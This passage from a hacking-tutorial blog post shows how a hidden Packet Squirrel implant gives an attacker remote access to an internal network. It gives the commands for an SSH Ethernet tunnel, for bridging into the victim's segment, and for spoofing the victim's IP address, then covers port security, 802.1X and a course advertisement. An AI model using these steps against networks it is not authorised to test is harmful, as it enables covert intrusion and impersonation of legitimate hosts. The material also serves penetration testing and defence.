The attacker’s phone, which is not directly connected to the victim’s laptop, is connected to the same VPN network as the Packet Squirrel. A route is configured on the phone with Packet Squirrel as the gateway, after which the attacker gains direct network access to the internal network. This is convenient for the attacker and can be used both for stealthy access and for further attack development. However, this is only L3 access (the network layer of the OSI model), which does not provide full attack capabilities, since the attacker is not actually inside the network but uses Packet Squirrel as a gateway.

To be fully present within the network segment and to use the full arsenal of Ethernet-based attacks (from ARP to NetBIOS spoofing), the attacker needs Layer 2 (L2) access.

L2 Access

To obtain full L2 access to the network segment where the implant is located, the attacker must create an additional tunnel. The simplest way to do this is via SSH:

/etc/ssh/sshd_config

PermitRootLogin yes
PermitTunnel ethernet

Since the device’s Ethernet interfaces are already connected in a bridge (br0), the attacker only needs to add a new L2 interface from SSH into this bridge:

kali > sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any
Pi > brctl addif br0 tap1
Pi > ifconfig tap1 up

The network bridge will copy every network packet from the Ethernet interfaces into this virtual interface. On the attacker’s side, a new L2 interface will also appear, receiving all packets available to the Packet Squirrel and acting as an L2 portal into the internal network segment:

kali > sudo ifconfig tap1 up
kali > sudo dhclient tap1

Now, being directly inside the network segment via Packet Squirrel, the attacker can obtain an internal IP address via DHCP. For greater stealth, they may even use the victim’s IP address:

Pi > sudo ifconfig br0 0
kali > sudo ifconfig tap1 $victim_ip/24

A small device hidden somewhere deep within a corporate network, behind a workstation, a hallway printer, an IP phone in a meeting room, or even buried in server room cabling can covertly interact with internal network nodes on behalf of the victim (using their MAC and IP address). Meanwhile, the attacker can be physically located far away.

Such a device can also be used for remote internal penetration testing, where the client simply plugs the device into the required network segment. No further action is needed. There is no need to coordinate access approvals, travel to the site, or deal with inconvenient VPN connections.

How to Defend

Using Port Security alone can prevent an attacker from accessing an unused network port, since they will not know the required MAC address. If 802.1X is also implemented, the attacker will not be able to insert a device in the middle. When connecting a Packet Squirrel, even briefly, the network link must be interrupted, which would require re-authentication.

Another defensive measure is strict physical control over Ethernet ports and devices within the enterprise network.

Summary

We showed you how a small, hidden hardware implant can give an attacker persistent and stealthy access to an internal network. By acting as a transparent bridge or gateway, the device allows remote entry without disrupting normal operations. With L3 access, the attacker gains basic connectivity, while L2 access places them fully inside the network, enabling more advanced attacks and even impersonation of legitimate devices. Physical access, even briefly, can translate into long-term compromise. That’s why strong network authentication and strict control over physical ports are critical for defense.

If you like what we’re doing here and want to advance your cybersecurity skills, check out our Cyberwarrior Path training. It’s a three-year program built around a two-tier learning curriculum. During the first 18 months, you’ll get access to a rich library of beginner to intermediate-level courses, giving you the knowledge and practical skills you need to build a strong foundation and progress with confidence.

The post Persistence: Building a Small Ethernet Persistence Device, Part 2 first appeared on Hackers Arise.